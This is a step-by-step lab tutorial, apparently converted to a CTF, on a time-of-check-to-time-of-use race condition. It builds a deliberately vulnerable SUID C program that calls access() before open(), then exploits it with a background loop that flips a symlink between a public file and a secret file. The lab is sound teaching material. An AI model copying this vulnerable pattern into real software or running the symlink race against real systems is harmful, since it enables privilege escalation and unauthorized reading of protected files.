adduser noob
Enter a password of noob twice and press
Enter to leave all the other information blank,
as shown below.
nano race.c
Paste in this code:
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <time.h>
#include <sys/time.h>
int main(int argc, char **argv)
{
char *file;
char buffer[4096];
int ffd, rc, i, j;
struct timeval t0, t1;
long dt;
if(argc < 2) {
printf("%s file\n\tPrints file if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
gettimeofday(&t0, NULL); // TIME OF CHECK
if(access(argv[1], R_OK) == 0) {
for (i=0; i<100000; i++) { j = (j*i) % 1000; } // WASTE SOME TIME
gettimeofday(&t1, NULL); // TIME OF USE
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
printf("%s\n", buffer);
dt = (t1.tv_sec - t0.tv_sec) * (int)1e6 + (t1.tv_usec - t0.tv_usec);
printf("Vulnerable time interval: %d microsec\n", dt);
} else {
printf("You don't have access to %s\n", file);
}
}
Press Ctrl+X, Y, Enter to save
the file.
Execute these commands to compile it, give it SUID permissions, and copy it to noob's home folder, preserving permissions, as shown below.
gcc -o race race.c
chmod 4755 race
cp -p race /home/noob
nano /home/noob/secret
Type in this text,
as shown below.
SECRET INFORMATION
Press Ctrl+X, Y, Enter to save the file.
In a Terminal window, execute this command to limit access to the file:
chmod 600 /home/noob/secret
su noob
cd
ls -l
You see "race" and "secret", as shown below.
cat secret
You see a "Permission denied" message,
as shown below.
nano public
Type in this text,
as shown below.
PUBLIC INFORMATION
Press Ctrl+X, Y, Enter to save the file.
./race public
./race secret
You see the contents of "public",
but you are denied access to "secret",
as shown below.
ln -s public flip
./race flip
The "PUBLIC INFORMATION" is shown,
as shown below.
ln -s secret flip
The command fails, because the "flip"
link already exists,
as shown below.
To force the link's overwrite, and run the "race" program on it, in a Terminal window, execute these commands:
ln -sf secret flip
./race flip
The "flip" link now points to the
"secret" file, so you can't access it,
as shown below.
To see, let's flip the link many times and see how long it takes.
In a Terminal window, execute this command:
for i in {1..1000}; do ln -sf secret flip; ln -sf public flip; done
The code has no output,
as shown below, but you can count the seconds
to see how long it takes. When I did it,
it took about 3 seconds.
Therefore, it takes around 3000 microseconds to flip the link, and the vulnerable period is around 600 microseconds. So there's a 20% chance or so of the flip occurring during the vulnerable period. If we run the program 30 times, it should succeed for some of them.
while true; do ln -sf secret flip; ln -sf public flip; done &
This flips the link from "public" to "secret" rapidly,
and runs in the background, thanks to the & operator.
When I did it, a few error messages appeared saying "Not a directory", as shown below. They seem harmless--I just pressed Enter to get a command prompt and continued.
for i in {1..30}; do ./race flip; done
At some point, you should get lucky and see
the "SECRET INFORMATION",
as shown below.
top
A list of processes appears, with the process
that consumes the most CPU on top. When I did it,
the first process was using 25.6% of the CPU,
as shown below.
Find the "NAME" entry for that process, which is redacted in the image below.
In a Terminal window, execute these commands, to exit the "noob" account and reboot machine:
exit
reboot
Posted 4-10-18
Converted to a CTF 5-24-18